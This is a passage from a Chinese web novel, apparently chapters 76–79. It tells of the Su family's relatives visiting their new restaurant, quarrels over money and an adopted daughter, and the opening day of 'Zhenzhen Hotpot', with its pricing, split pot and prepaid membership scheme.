小叔苏卫民和婶婶郑艳红两口子也是屋里屋外的转悠着,咋咋呼呼一叠声地夸这小楼带派,都赶上过去有钱老爷们住的小别墅了! 苏丽珍的大堂哥苏金宝和堂姐苏丽娜,则是四处摸摸、看看,两人的眼睛都瞪的锃亮锃亮的。 到最小的苏玉宝,更是在屋里撒着欢儿东跑西跳,直问他爷他们家什么时候也能搬到这样漂亮的地方住! 也就属苏老头反应最沉稳,只是背着手站在一楼大厅里,四处扫了一遍就没动了,更没怎么开口说话。 苏丽珍觉得老爷子这反应不像是高兴,忙给丁大勇使眼色,让他去哄人。 丁大勇知道师傅父跟师爷有点儿不对付,两人常常说不到一块儿去。这会儿见小师妹给自己递眼色,忙上前一把扶住苏老爷子,说道: “师爷,您看我师傅这店多气派啊!看这些木隔断,都是找最好的木工师傅雕的,这手艺绝了,太好看了!” 谁知苏老头听了,却重重哼了一声,“怕是这价钱也好看的很吧!” 这一句如一盆冷水一下把苏家其他人高涨的热情浇了个冰凉。 屋子里热闹的气氛一窒,众人不由都安静下来。 丁大勇不免有些尴尬。 苏老头却丝毫不觉得自己扫了大家的兴,兀自说道:“不是之前还说手上没多少钱了吗?那搞这么大个场面干啥?这得花多少钱哪?咋的?摆几个月摊子,你们是挣出金山还是银山了?我看就是烧得慌!” 原来老爷子是担心他们花太多钱撑这个店面。虽然话是不怎么好听,但出发点也算是为他们着想。 苏卫华便解释道:“爸,这小楼是珍珍同学家的亲戚租给我们的。因为有这层关系在,价格其实一点都不贵,小摊虽然成本更低,但是对每次来吃东西的客人来说还是不方便。” “现在政策好了,私人饭店也会越来越多,咱们是赶早不赶晚。再说,有了门面,做生意和住房都在一起,对我们一家人来说也更安全。” 苏丽珍听了他爸这番认真解释,第一反应就是高兴。 放在以前,苏卫华因为对苏家老两口有心结,是最不耐听苏老爷子数落的,常常就像炮竹似的一点就着。 如今却能耐下性子慢慢解释,而且还有理有据的,看来这段时间历练的效果十分明显。 苏老头显然也没料到大儿子会这么心平气和地跟他解释。本来他都做好了心理准备,非得好好说大儿子一顿不可,大不了他们爷儿俩大吵一架,他直接扭头回家。 可他儿子这样的反应让他一时不知怎么接茬,气也消了大半,只能反复嘟囔道:“那也没必要一下子弄这么大个地方啊!还捯饬得跟皇宫似的,这得多少钱……” 众人一看他这样,就知道这爷儿俩今天是吵不起来了。 一向会来事的郑艳红便故意的凑趣道:“爸,这像皇宫好啊!您想啊,像皇宫大伙儿才都想来看看,看了那不就得留下吃顿饭嘛!所以要我说,还是我大哥、大嫂聪明,会做事!” 气氛很快缓和过来,刚好这时苏卫华那两个朋友也带着家属过来了,苏卫华和李翠英赶忙上前招呼。 人一到齐,苏卫华夫妻俩就领着苏小麦跟大伙儿见了面,正式打个招呼,也是再次重申,小麦是他们夫妻俩很看重的女儿,今后也是苏家的一员。 虽然苏老头之前还在骂大儿子败家,但是在外人面前还是一向很有分寸的t。 甚至还在小麦改口喊他们老两口“爷”“奶”后,越过了苏老太,先给了小麦一个红包。 苏丽珍在旁边瞧着苏老太和郑艳红那有些心疼的样子,估摸这红包应该是老爷子自己准备的,可能里边的金额还不算小。 毕竟按照以往惯例,苏老太每年给她这个孙女的压岁钱也不过是五分、八分的,郑艳红更是年年雷打不动的一分钱,也不知道有没有包钱的红纸包值钱。 苏卫华的朋友们也各自给小麦带了见面礼,一个是一件粉色的手工开襟儿毛衣,一个是块花格子毛华达呢料子,一看就都是花心思准备的! 因为大家下午还要上班、上学,苏卫华夫妻带着小麦跟大伙儿打完招呼就开席了。 今天这两桌席面是鸳鸯火锅加特色卤味。 大伙还是第一次见鸳鸯锅这种用一口锅能同时涮两种锅底的火锅,都夸苏丽珍一家心思灵巧。等尝到了味道后更是大为喜欢,可以说,所有人都对这顿饭交口称赞。 看大家这样的反应,一家人对明天正式开业也更加有信心了。 吃过饭,苏卫华的朋友们很快就走了。 没有外人,大伙儿说话也不用顾忌,不过这次不是苏老头了。 厨房里,苏老太一边帮忙收拾碗筷儿,一边跟李翠英念叨:“知道她救了你一命,身世也可怜,但她到底不是从你肚皮里爬出来的!” “要我说,你好吃好喝把人治好了就行了,收个干闺女也算全个好名声,干啥非把人留下啊?” “你自己又不是没有闺女,再不济还有娜娜这个亲侄女儿啊!你留这么个外人在家,将来是不是还得给她贴嫁妆?你说你多亏得慌!” 正好这时苏丽珍端着苹果要进来洗,一听见她奶这话,立刻回头往大厅餐桌那边看了一眼。 见苏丽娜正拉着小麦状似亲密地聊着天,她走过去不动声色地接过苏老太的话,道: “奶,您这话可不对。其实小麦姐姐不光是咱家的救命恩人,而且她还很能干的,您也听我爸说过她家的事,她基本是老早就出来自力更生了。” “所以论起做买卖的经验,那是比我们还丰富呢。而且她力气大、做事麻利,干活绝对是一把好手。有她在店里,说不定她比您亲孙女我有用多了!” 老太太听了却有些不信,“可你爸不是说这孩子受伤严重,得养一段时间,那能干啥活?” 苏丽珍笑道:“奶,小麦这么年轻,那身体不是说养好就养好嘛!再说,即便她现在干不了体力活儿,但是她识字、会打算盘,也能帮我爸妈收收钱、记记账啊!” 苏老太和郑艳红不知道苏小麦认字算账都是苏丽珍教的。 乍一听说她会这些,倒是都有些吃惊。毕竟现在要找一个能写会算又知根知底,关键还愿意来这私人个体店做事的可不好找。 苏老太犹豫了一下,最终点了点头,“要这么说,留下这孩子还真不亏,到时给她贴点儿嫁妆也不是不行……” 不过说着说着,老太太又板起了脸,对李翠英道:“但是我可得跟你说好,让她留下临时帮着收收钱、写个账都可以,就是不能把账都叫她管!更不能让她有机会碰钱!” “你和华子得防着点,可不能让她生了外心!那老话说的好,‘日防夜防家贼难防’,你俩心里都得给我有个数!” 第77章 李翠英忙说:“妈,小麦不是那种人,她是个好孩子!” 看她这样,苏老太恨铁不成钢道:“就你傻实在,你见过有人往脸上写‘好’字的,还见过写‘坏’字的吗?” “我告诉你,你得给我打起精神,不能含糊!你和华子没儿子,搞不好老了就指着这家店呢。防人之心不可无,知道不?” 李翠英一听老太太又说起没儿子的话,从前珍珍最不爱听这些,谁一说,一准就要撂脸子使脾气,赶忙看向闺女,用眼神示意她千万别生气。 苏丽珍朝妈妈淡定一笑,主动接话,替李翠英解围道:“奶,您放心,这事我们一定听您的。” “您老吃过的盐比我们这些小辈儿吃过的饭还多呢,知道这世上有种人最会说嘴儿了。” “平时说这个、讲那个,好像特别为你着想,可到见真章的时候,就能狠下心视而不见,把钱财好处看得比亲儿子都重要。这种人我们自然不能搭理他,您说是吧!” 苏老太一点没听出苏丽珍含沙射影,兀自点头:“这就对嘛,还是珍珍明白事理!不过也不能一点儿不搭理,对这种人,大面上你也得过得去,不能撕破脸。” 苏丽珍便十分自然地附和道:“我明白了。还是我奶精明啊,一看就是老经事儿的,经验老道。” 苏老太不由一脸得意,“那是!不是你奶我吹,这份精明我打小就有!就是可惜咱家你爸、你大姑、二姑他们仨,都不像我。也就你小叔是随了我了。” 说着,还十分惋惜地摇了摇头。 全程没咋吱声的郑艳红:“……” 她可一点儿也不觉得孩子他爸像老太太,但这话她不能说,好憋屈! 李翠英趁苏老太不注意,赶忙偷偷瞪了苏丽珍一眼,让她别太过分。 苏丽珍一笑,态度很好地闭嘴了,顺便借出去送苹果走人。 可惜苏老太还在兴头上,即便没人“捧哏”,还是把自个儿从年轻时如何慧眼识人,到现在八面玲珑人缘好,一气儿说了半天。 最后才依依不舍地把话题勾回来,“总之,英子,你得记着我的话,无论啥时候都得留个心眼儿。” 末了,还不忘捎带上小儿媳,“还有你,小红,别以为我光说你嫂子,你也得给我长点儿心,别整天二乎乎的!” 郑艳红:“……” 怕老太太唠叨个没完,她赶紧说道:“哎呀,妈,要我说你就是瞎操心,人我哥和我嫂子心里有数着呢,要不能支起这么大的门面吗!” 不过说起这茬,郑艳红的心里就开始刺挠挠了,忍不住凑到李翠英跟前打听起来。 “嫂子,你这房子装得这么带派,肯定没少花钱吧!之前几个月都没少挣吧,跟弟妹我说说呗,挣了多少?” 要知道这还是租的房子呢,手里要是没两个好钱儿,谁敢这么造啊 李翠英也不是没有进步,放以前,郑艳红一这么跟她说话,她一准儿招架不住,现在也学会不动声色敷衍了。 “嗐,她婶儿,你又不是不知道你大哥的性子,一辈子心强,做啥事都要做到最好。为开这个店,把挣的钱全投进去了,就怕别人笑话他店开不起来!” 这回答显然不能让郑艳红满意,她那张嘴就像开了机关枪似的,一句接一句道:“哎,嫂子,你还没说你们到底挣了多少钱呢?我可听人说了,现在在电影院门口卖瓜子儿,一个月还能挣个百八十块的,比我们正式上班拿的工资都多!” “你们原来的摊子又是卖凉皮儿、又是卖卤味的,肯定挣得更多!你就跟我们透个底儿呗!” 说着,看了眼旁边也在支棱耳朵听的苏老太,“咋,嫂子你难道还信不着我们,怕我和妈知道了出去乱说不成?” 李翠英被她这胡搅蛮缠的架势弄得无语,再去看苏老太,果然也有点不高兴了,顿时更头疼了。 正巧苏丽珍进来准备跟三人打声招呼,要提前一会儿去学校。 这月八号就期末考试了,虽然近一周时间课程早就结束了,每天大多是自主复习,但是明天饭店正式开业,她要请半天假,所以这几天上学都是早去晚回。 这会儿一进来听见郑艳红的话,心里冷笑了一声,立刻上前道:“看我婶儿说的,这有什么信不过的?我妈不告诉您,是因为我们家挣那几百块钱在您跟前实在没啥大不了的!” 郑艳红一听,眼睛都亮了,“呦,几个月就有几百块,这么多呀!” 苏丽珍轻笑一声,“婶儿,别看有几百块,那都是我们一家人起早贪黑,不管下雨还是下刀子,一天不落,吃了苦头才挣到的。” “而且跟你们在厂子里上班不一样,我们还得放下身段,每天给人陪笑脸,说好听话。再说,这钱听着是不少,不也得看跟谁家比嘛?” “就拿婶儿你跟我爷奶他们说,婶儿你现在一个月三十八块钱工资;我小叔和金宝t大哥在五金厂,那边效益好,我小叔一个月四十七、八;大哥现在每月也能挣三十五,我爷现在一个月退休工资也有三十六。” 苏丽珍掰着手指头,一个个给郑艳红和苏老太算。 “还有我娜娜姐,我奶不是说她考上咱们凤城最好的中专,一个月补助就有十块钱吗?至于我奶自己,虽说没有工作,拿不了工资,但她养了那么多鸡鸭,还有一口大肥猪,到年底都能换不少钱。 “这一平均下来,婶儿,你们家每个月就小二百块了,那一年就是两千多块钱呀!” 她看着郑艳红,脸上故意露出吃惊的表情,“哎呦,这可真是不算不知道,一算吓一跳。婶儿,照这个数,你家这些年妥妥的万元户啊!” 郑艳红自己也吓了一跳,原来他们家这么有钱的嘛! 不过很快她就反应过来,苏丽珍这算的根本不对,是光算进的,没算花的! 这一大家子老老少少,哪天不得花钱?再说,老爷子和老太太的钱也不全都交给他她啊! 正当她想说苏丽珍乱算账的时候,忽见对方一脸诚恳地看着她道:“婶儿,我妈刚说的不假,我爸为了能开好这个店,不但把家里几个月挣的钱都投进去了,还跟朋友借了不少,现在手头怪紧的,您看您有这么多钱呢,要不先借给我们点儿?” 郑艳红一听这话,脸上的笑一下僵住了。她这辈子最听不得人跟她提“借钱”两字,当时就待不住了。 “那啥,大侄女可真会开玩笑!你们家马上要开这么大的店了,哪能钱不够呢……那什么,娜娜今天下午还有课,我得出去催催她,可别迟到了!” 说完就火急火燎地跑了出去。 剩下苏老太太以为苏丽珍是诚心捉弄小儿媳,就想说她两句,哪知苏丽珍又把目标转向了她。 “奶,你看我婶儿的反应,她该不会是担心我们借了钱将来赖账吧?那她可想岔了。” “当初我爸突然病倒,花了那么多钱,最后连工作都没保住,房子也叫厂子收回去了,我们一家三口差点就去街上要饭去了!” “可怎么样?没人管,没人问的,我们一家不还是一样挺过来了!” 苏老太一听大孙女提起当初这茬,脸上立马有些讪讪的。 李翠英拉了拉闺女的袖子,想让她少说两句。 苏丽珍没理会,继续道:“刚才我爷在外头说,我们不该一下把摊子支这么大,可我理解我爸呀!毕竟这年头谁也靠不住,就得靠自己。” “都说不蒸馒头争口气,我爸就是憋着一股气,想让这世上瞧不见他这么个人的都好好看看,他苏卫华一时半会儿还倒不了!” “奶,我爸是您的大儿子,他这份心思您肯定不比我这个当闺女的知道的少吧?回头您也跟我婶儿说说,钱不钱无所谓,就是别把我们想成那不念亲情,转头就翻脸不认人的。” 苏老太太一张脸涨得通红,张张嘴似乎是想说苏丽珍几句,可是看着脸上始终挂着笑的大孙女,又觉得说不出口,只好一扭脸,闷闷地说了一句: “你婶儿就是嘴上没把门儿的,啥事都爱瞎打听,我说她几句。” 说完,自己也觉得不自在,只好悻悻地出去了。 苏丽珍母女都听见她边走边小声嘟囔:“这丫头咋变得这厉害……” 李翠英忍不住拍了闺女一下,“你说你这孩子,明知道她们就那性子,还非得跟她们计较!” 苏丽珍收起脸上不咸不淡的笑,转头搂住她妈的胳膊,笑道:“妈,这人人身上都长了根发条,偏偏有的人自己舍不得拧一下,那我只好帮她们动手,给她们上上劲儿,免得她们动不动就跑偏了。” 李翠英瞪了她一眼,“不准没大没小的!” 但她到底舍不得多说自己的宝贝闺女,只好劝解道:“你奶咱就不说了。其实你婶儿她就那样,一听见跟钱有关的就坐不住了。她刨根问底地想打听咱家挣多少钱,也是动了摆摊的心思。” “上个月妈去看你爷奶,我就听见她念叨,说家里的鸡蛋吃不了,反正她那班儿也清闲,就想得空出去摆个摊子。” 苏丽珍挑眉,她这位婶子还真是抓钱能手! 不过她妈说的对,她爷奶虽然偏心,小叔小婶一家又死抠,但是他们有个好处,就是从不惦记别人手里的东西。 他们不去占别人一分一毫,当然别人也不能跟他们提“钱”字。 虽然这样难免显得冷情,但却远比那些理直气壮趴在亲人身上吸血,吸不到就各种怨恨坑害你的人强多了。 苏丽珍知道她妈是怕她生气,对她爷奶和小叔一家的态度又变回从前那样,便安抚道:“妈,您放心,我心里有数。就算是为了我爸,我也不会跟她们计较太多的。” 人就是这样矛盾的生物,别看苏卫华自己因为苏家老两口偏心太过,时常跟二老不对付,但他绝不希望看到自己唯一的闺女也跟他一样。 所以就算为了哄她爸开心,她也不会把事情做的太过。 李翠英这才放下心来。 等苏丽珍从厨房出来,郑艳红看见她还有些尴尬。 苏老太则是坐在一边低着头不吭声,一副生闷气的样子。 苏丽珍当做没看出来,跟大伙儿告了别之后,主动走过去给她奶倒了杯茶,语气十分自然道: “奶,我这就上学去了,你明天跟我爷他们早点儿来。我跟同学借了收录机和磁带,明天能放曲子,您早点来听听!” 苏老太很好哄,一看苏丽珍这样立马就高兴了! “行,我记着了!珍珍,你上学骑车慢点儿啊!” 等推自行车准备走的时候,小麦觑着空子跑出来,把一个挺大的苹果塞进她书包里。 “我看你一直没得空吃,把这个带去学校吃吧。” 苏丽珍拦住她,“姐,不用了,学校里不方便吃,你留着等下午没事的时候吃吧。” 她见苏小麦脸上似乎有些倦色,不由关切道:“是不是累了?” 她往屋里扫了一眼,“我叔他们下午还要上班,你再坚持一会儿就好了。” 苏小麦苦笑,“其实也没啥,就是你那堂姐,果然跟你说的一样厉害!” 苏丽珍皱眉,“怎么,她跟你说什么了?” 苏小麦赶忙摇头,“那倒没有,她应该只是好奇,拐弯抹角打听咱家这些变化……她真的很厉害,既能不动声色地套话,还能做到句句顺着你的心意。” “但凡你稍微露出点不喜欢,她能很快转到下一个你感兴趣的话题,还不让你讨厌……怎么说呢,就像个人堆里练出来的老油条!” “要不是你先跟我说过,我绝对感觉不出来!珍珍,怎么你们家的女孩子都这么厉害!” 苏丽珍失笑。 她是活了两辈子,上一世吃过无数苦头和教训才变成现在这样知道凡事动脑子,但人家那可是天生的! 她笑道:“其实她没什么坏心思,就是跟我婶儿一样,属于利益至上者,不喜欢理会没价值的人或事。但她比我婶儿有分寸多了。” “这么看的话,她愿意跟你套话,应该也是心里比较认可你的。” 苏小麦一脸惊恐,“可别了,我有点受不住。” “再说,我心里清楚,其实她更想跟你好好聊聊,不过是像你之前说的,你们平时私下不亲近,她也只能通过拉拢我和你找回关系,走一个迂回路线。” 而另一边,走“迂回路线”的苏丽娜果然也正在叮嘱她妈郑艳红,“妈,你看我大伯一家这几个月变化多大,尤其珍珍,简直就像换了个人似的!” “你以后跟我大娘她们说话也得注意点分寸,别犯你那老毛病,动不动老刨根问底儿的!这交好一个人不容易,可得罪一个人,那就是一句话的事儿。” 郑艳红小声嘟囔:“我还敢刨她的底儿?她还不把我吃了!” 苏丽娜没听清,以为她妈不当回事儿,不由皱了下眉,“妈,你认真点儿,我看我大伯以后说不准真能成事!咱们有这么个亲戚,只要关系稍微好些,遇事也算有点靠山。” “别人知道了,也能高看咱们一眼,这也算沾光。所以以后咱们一定要跟我大伯他们处好关系,别到时候要上轿了,才知道扎耳朵眼,到时我爸又得说你。” 郑艳红心里不以为然,那再能,不也还是个个体户?说不定谁靠着谁呢! 不过她一t向知道自家闺女脑子好,连孩子她爸也让她多听闺女的,所以还是跟苏丽娜保证,“行,明天你大伯家开张,到时我早点过去帮忙,你就别操心了。” 一晃就到了第二天。 上午九点整,吉日吉时,人民路的小洋楼门前,噼里啪啦一阵炮竹声。 “珍珍火锅店”开业啦! 第78章 鞭炮声过后,门口长凳上摆着的一台收录机开始播放一首首脍炙人口的歌曲。 《马铃儿响来玉鸟唱》《闪闪的红星》《唱的幸福落满坡》这些歌曲节奏明快,悦耳动听,吸引了更多人驻足围观。 这种新颖的揽客方式,一时让饭店门口里三层、外三层站满了人。 苏卫华按下激动的心情,对周围的人声音洪亮道:“各位,估计常来光顾我们家小吃的人应该早就听说了。没错,今天就是我们‘珍珍火锅店’正式开业的日子!” “店里除了特色火锅,还有原来大伙都爱吃的各种卤味!” 附近这一片很多人都吃过苏家的卤味,不少人还是常客,对老苏家一点儿不陌生,当即人群里就有人开玩笑喊道: “大兄弟,这么大的店面,你家简直就是鸟木仓换炮了!我们得喊你一声苏老板了!” 立刻引来大伙一阵善意的哄笑。 苏卫华也乐呵呵朝大伙拱了拱手,笑道:“啥老板啊!我老苏能有今天还不是多亏了大伙儿照顾,隔三差五来光顾我们家,要不然我算哪根葱!” “所以今天我们新店开张,连带回馈老主顾,今天店内所有菜品一律八八折,另外每桌还额外赠送一份卤味拼盘,欢迎大家进店品尝!” 丁大勇和苏金宝立刻带头鼓掌,周围的人也纷纷热情响应。 然后苏卫华喊了一声“发喜糖啦!” 苏卫民爷儿俩和丁大勇一人手里一个袋子,开始往人堆儿里撒糖,又引起一波热闹。 苏丽珍趁这功夫,把一块特制的写着店内菜品特色和价码的小黑板放在了店门前。 等大伙儿捡完了糖正好看见,立刻好奇地围过来看,还有人大声念了起来。 “本店经营特色火锅和各种卤味食品。滋补骨汤锅底0.1元,川渝麻辣火锅锅底0.18元,特色鸳鸯锅0.2元,秘制蘸料每份0.1元。” 念到这里,有人好奇了,“这鸳鸯锅是啥锅?没听说过啊!再说,这鸳鸯还能做锅底儿啊?那玩意咱这嘎达有吗?” 还有人说:“动物园里有吧,就是那能让吃吗?” 旁边苏丽珍听到这话,忙解释道:“这位叔叔,鸳鸯锅是一种特制锅具,就是在一口铜锅内可以同时涮两种不同口味的锅底。” “比如说,如果您一家来我们店吃火锅。有人爱吃辣,有人又吃不了,就可以点一个鸳鸯锅,同时满足所有人的口味。这也是我们店的特色之一。” 听她这么一解释,众人才恍然大悟,跟着就更好奇了,纷纷道:“一个锅能涮两种锅底儿,那是啥锅呀?” “要不咱进屋看看,也长长见识!” 这边还在议论着,那边又接着往下念起来。 “羊肉大份(一斤)1.2元,小份(五两)0.6元。牛肉大份(一斤)1.3元,小份(五两)0.65元。猪五花大份(一斤)1.5元,小份(五两)0.75元。素菜一律0.1元,主食不要票。” “另外,现有酸菜五花肉锅套餐2.3元每份。套餐内含:五花肉一斤,酸菜二斤,血肠一斤,冻豆腐半斤,葱花饼四两,秘制蘸料一份,可供二到三人食用。” 最底下就是用彩色粉笔特意标注的,之前苏卫华当众宣布的今日店内8.8折和赠送卤味拼盘的标语。 大伙儿忍不住又开始议论起来,“这个价,看着倒是跟国营饭店差不多。不过主食不要票,这点倒是挺好。” 现在国营饭店吃肉吃菜不要票,但是吃米面主食类就必须要拿粮票。出门在外,因为没带粮票吃不上饭是十分常见的事。 还有人默默算了下,“如果打八八折的话能便宜不少呢!尤其那个酸菜锅,感觉好合适啊!” 还有人问苏丽珍,“珍珍小老板,我就得意你们家的卤味!今天卤味也是八八折吗?再说,你家换了这么好的店面,以后能不能涨价啊?” 苏丽珍认出这人是个老主顾,忙笑道:“李大爷,您放心,卤味今天也是八八折。而且我跟您保证,只要这肉价和房租不涨价,我们家的东西就不会涨。” 那位李大爷不仅指着苏丽珍逗趣道:“哎呦,瞧这股子机灵劲儿,滴水不漏的!大伙儿看看,我可算知道为啥他们家要叫‘珍珍’了,敢情根子就在小老板身上!” 众人又笑了起来。 苏丽珍看大伙似乎对这个定价还算满意,心里也松了口气。 本来按她记忆,第一批私营饭店刚出现时,因为营业时间更长,外加不要票,所以当时的定价是比国营饭店略高的。 只是苏丽珍觉得,吃火锅以涮肉吃菜为主,对主食需求相对较低,有的人甚至压根儿不吃主食。 这样的话,不要票所带来的吸引力也就没那么大了。 所以她最后还是决定,把店内火锅类菜价全部保持跟国营饭店齐平,打完折甚至还要便宜不少。 而这样定价,还有一个原因。 如今牛羊肉的生肉价格是普遍低于猪肉的。 比如现在的自由市场上,不要票的猪肉价格在一块到一块二之间,牛肉要低两毛,羊肉最便宜。 老乡们到市场上卖自家现杀的羊肉,一斤顶多能卖个七毛多钱。 像苏丽珍家这样能长期稳定拿货的,一斤猪肉的价格能降到九毛;羊肉通过张表舅直接在回民村那边收购,整只羊收拾干净,到手平均下来,一斤才五毛多。 所以按照这个情况,饭店里牛羊肉的菜品价格理应是低于猪肉的。 但是大家所默认的事实是,牛羊肉膻味儿大,很多人吃不来,而且不易熟。要想做的好,既费时间,又费功夫。 这也就导致饭店正式的牛羊肉成菜价格都跟猪肉类差不多,甚至比猪肉类菜品价格更高。 这当中也包括涮火锅。 国营饭店的菜品种类多,火锅不过是其中一种,这样定价自然没问题。 即便火锅里的牛羊肉不需要额外烹制,只要切成薄片就能上桌,看起来就没啥技术含量。 可像他们这种专门经营火锅的就需要好好考虑考虑了。 所以定价比国营饭店高肯定是不成的,最好是持平,然后再通过一些优惠手段让一部分利,带动销量。 而她之所以没有选择直接把价格调低,也是因为作为本市第一批私营饭店,她不想上来就打价格战,把水搅浑。 不过即便他们店内的火锅价格整体要比国营饭店优惠,肯定依然避免不了有人会觉得贵。 显然苏丽珍的担心不是多余的。 大伙儿正研究菜单的时候,就听一个拎着篮子的中年妇女跟同伴小声说道:“哎呀妈呀,这价也太吓人了!一个锅底就要一毛两毛的!” “你说涮羊肉谁家没吃过?整点羊肉就放白水里,搁点盐涮一涮,再蘸点芝麻酱,那还能不好吃了?关键还花不了多少钱,搁这儿吃一顿,够咱回去买好几斤羊肉了,那都能吃到撑!” 妇女以为自己已经很小声了,但是显然她低估了自己的嗓门儿。 所以她话音一落,就立马引来附近不少人的目光,不免有些尴尬。 旁边一个年轻小伙子忍不住反驳道:“大嫂,话也不能这么说。不都说一分钱一分货嘛,你看同样是猪心、猪肝、下水那些,这搁咱自己手里做出来就是又腥又臭的。” “可人家一做,就香的很,还烂乎,牙口不好都能吃。所以这钱也合该人家挣。” 妇女听了也没反驳,只是点了点头。 她这副模样,一看就是心里并不认同,估计是明白今天是人家饭店开业的日子,之前那样说话不好,所以才换了态度,没有任何争辩。 不过苏丽珍发现,周围还是有不少人都觉得那小伙子说的对。 这部分人里大多数都是从前的老主顾,应该是真心认同他们手艺的。 当然她知道,像妇女那种想法的人也不在少数。 苏丽珍倒也不在意,毕竟每个人消费的观念不同。 不过她对自家的东西有信心,也许她家的价格不是最便宜的,但她有把握让大家在店里花的每一分钱都物有所值。 而且说服一个人最好的方法当然是用实际行动向对方证明。 于是她把丁大勇招呼过来,耳语了几句。 丁大勇听完二t话没说,转身向屋里走去。然后不到五分钟,就出来了。 只是出来的时候,他特地把大门上挂着的厚门帘掀开了。 现在外面零下十七八度,这挡风的门帘儿一掀,一阵发白的热气开始呼呼往外涌。 随着热气一起飘出来的,还有一股极浓郁的香味,有点像炖肉汤的香气,但是明显比那还多了股鲜香味。 人群中很快响起一阵惊呼,“哎呀妈呀,这啥玩意儿啊?咋这么香!” 很快,这股鲜香味后又有一股更浓的麻辣香味后来居上。 这股麻辣香特别霸道,还一点不呛人,就像里头藏着小钩子,把大伙儿肚子里的馋虫都被勾出来了。 周围又是一片此起彼伏的吸气声。 “哎呀,这也太香了!我这早上才吃的两碗粥,好像现在又饿了!” 很快大家就发现香味是从苏家店里飘出来的,立马有人问苏丽珍:“小老板,你家这是做的啥呀?这么香!是出啥新卤味了吗?” 苏丽珍笑着摇头,解释道:“大叔,不是新卤味,这是我们家熬火锅锅底的香味。” 一听竟是火锅锅底的香味,大伙惊讶极了。 这么香的锅底,别说涮肉涮菜,煮皮带它也好吃啊! 一时间门口原本渐渐散去的人群又开始汇聚起来。 不少人被这香味勾得受不了,纷纷往店里走。 一眨眼的功夫就上了五、六桌人,要知道现在离饭点可还早呢! 苏丽珍和丁大勇对视一眼,后者不由朝她竖了个大拇指。 为了招揽客人,苏丽珍特意让她妈把昨晚做了一半的麻辣锅底放到今天上午炒。 刚刚,她又让丁大勇去把厨房和靠近大堂正门附近的窗户都开了半扇。 事实证明,麻辣锅底的香味加上几口高汤锅,效果无敌!当之无愧是店里的最佳广告。 而客人们一进屋,除了鼻间更浓郁的香味外,更是齐齐眼前一亮。 看着那雕工精美的木隔断,充满诗意美感的圆木珠帘,还有造型别致舒适的圆桌圈椅,所有人都不住口地夸了起来。 “我的老天爷,这哪是吃饭的地方,这都赶上过去的皇宫了!” “可不,这吃饭可真成了享受了!这也太有派了!”—— 作者有话说:感谢在2023-04-0722:55:29~2023-04-1019:42:03期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:檐上月2瓶; 非常感谢大家对我的支持,我会继续努力的! 第79章 本来担心时间太早,客人们还不饿,苏卫华给每桌客人上了热茶和一盘瓜子后,就让大伙儿先坐坐,暖暖身子,可以晚一会儿再点单。 没想到大伙儿还不干,直说肚子里的馋虫早让这锅底香味勾出来了,可等不了了。于是纷纷要菜单准备点菜。 不过等大伙儿一拿到菜单,很快又发现了新东西。 只见这张彩色硬卡纸制作的精美菜单上,正面写着菜品和价码;背面却是一串“会员须知”。 众人顿时来了兴趣,也不忙着点菜了,开始研究起这份“会员须知”。 还有人小声议论,“会员?啥会员?吃饭也要会员吗?” “不知道啊,先看看吧!” 只见上面写着:为回馈广大新老顾客,本店特推出会员服务。 即日起,凡在本店内一次预存十元钱的用户即可升级成为本店会员。 会员可享受部分菜单8.8折的优惠。会员价菜品每日不固定,但所占比例必不低于本店所有菜品的50%。 另,会员可获得积分奖励。所有会员在店内每消费一元为一积分,积分累积可兑换奖品。 十积分可兑换毛巾一条; 二十积分可兑换搪瓷杯一个; 三十积分可兑换搪瓷和面盆一套; 五十积分可兑换家用炒锅一个; 一百积分可兑换玻璃茶具一套; 一百五十积分可兑换精品双人床罩一副; 二百积分可兑换本店特制鸳鸯锅一套。 看完这些内容,在场所有人心里只有一个念头,这家店的花样也太多了! 关键是这个“会员”看起来很吸引人啊! 既能打折,还能累积积分,积分还能换东西。 看这些又是和面盆、又是炒锅的,都是家家能用得上的好东西,感觉老合适了! 立马就有人跟苏卫华打听:“同志,我有点没看明白,你们这儿会员预存十块钱是啥意思?是说办这个会员要花十块钱吗?” 同一时间,苏丽珍也在给另外一桌客人解释这个问题。 “当然不是!客人在我们店内一次性预存十元钱,以后每次来我们店吃饭,付款就直接从这十元钱里扣,直到扣完为止。” “所以这十元钱归根结底还是属于您的,只不过是提前预存在我们这里而已,而不是说十元钱只换了一个会员资格。” 这会儿,其他几桌客人也都掀开了珠帘听苏丽珍说话。 经她这么一解释,大伙儿也都弄明白了。 当即就有位熟客笑着说道:“这不就相当于先给钱、后吃饭吗?那要是将来你们不小心少记了一笔,那岂不是要亏钱了?” 苏丽珍认识这也是一位老主顾,估计是不放心,怕他们弄错,所以用这种委婉的方式发问。 这也是正常反应,估计在场有这种担心的不在少数。 毕竟,无论是预存会员制度、还是积分奖励,对于时下的人们来说都是前所未有的营销手段。 一切超前的东西都是一把双刃剑。运用的好,效果拔群;用的不好,就会引起巨大反弹。 所以必须要谨慎,这也是为什么之前苏丽珍没有把会员积分模式直接放在店外宣传的缘故。 她耐心地向大伙儿解释道:“各位客人放心,我们的会员是实名制,一旦确定成为会员,我们会给大家发放专门的会员卡。” “而且每一张会员卡上都有一个对应的编号,即使将来出现同名,大家也不会担心会弄混。” “另外,我们还会同时设立会员花名册。每次会员吃完饭结账的时候,我们会将该会员当天消费的金额及账上所剩余额,随同点餐单一起提供给对方,经由对方确认签字后,才算完成这顿饭的扣款流程。” “如果过后,大家对自己消费的账目有任何疑问,可以随时查看我们的会员记录。” 众人听完都觉得这方式还算保险,不过十块钱毕竟不是小数目,而且火锅也算时下的“高消费”了,大伙儿也不可能隔三差五来吃,一般人一个月吃个一、两回就算不错了。 这样一来,这十块钱放在店里的时间可能就要三、四个月,这么长时间总觉得有点不把握。 一个戴眼镜的小伙子就犹豫着问道:“可如果到时候你们店不干了,那这钱……” 只是没等他说完,他身旁一个年轻姑娘立马拍了他一下,没好气儿道:“你瞎说啥呢!今天是人家开张的日子!” 小伙子反应过来不由造了个大红脸,有些不好意思地对苏丽珍道:“真是对不住,小老板,我说话不过脑子!” 苏丽珍笑道:“没关系,我明白你的意思,不过认识我们的都知道,我家是在客运站摆摊卖凉皮、卖卤味起家的。” “所以即便将来我们不做火锅了,我们还有凉皮、卤味等别的东西,我请大伙儿尽管放心,我们‘珍珍’家绝不会赖账。” “而且我也可以在这里向大家保证,如果在座哪位客人成为我们的会员,之后对我们店里的食物或服务不满意,可以随时找我们退还剩余的钱。” 苏丽珍这话打消了大伙儿不少顾虑,正巧这时第一桌点的鸳鸯锅端上来了。 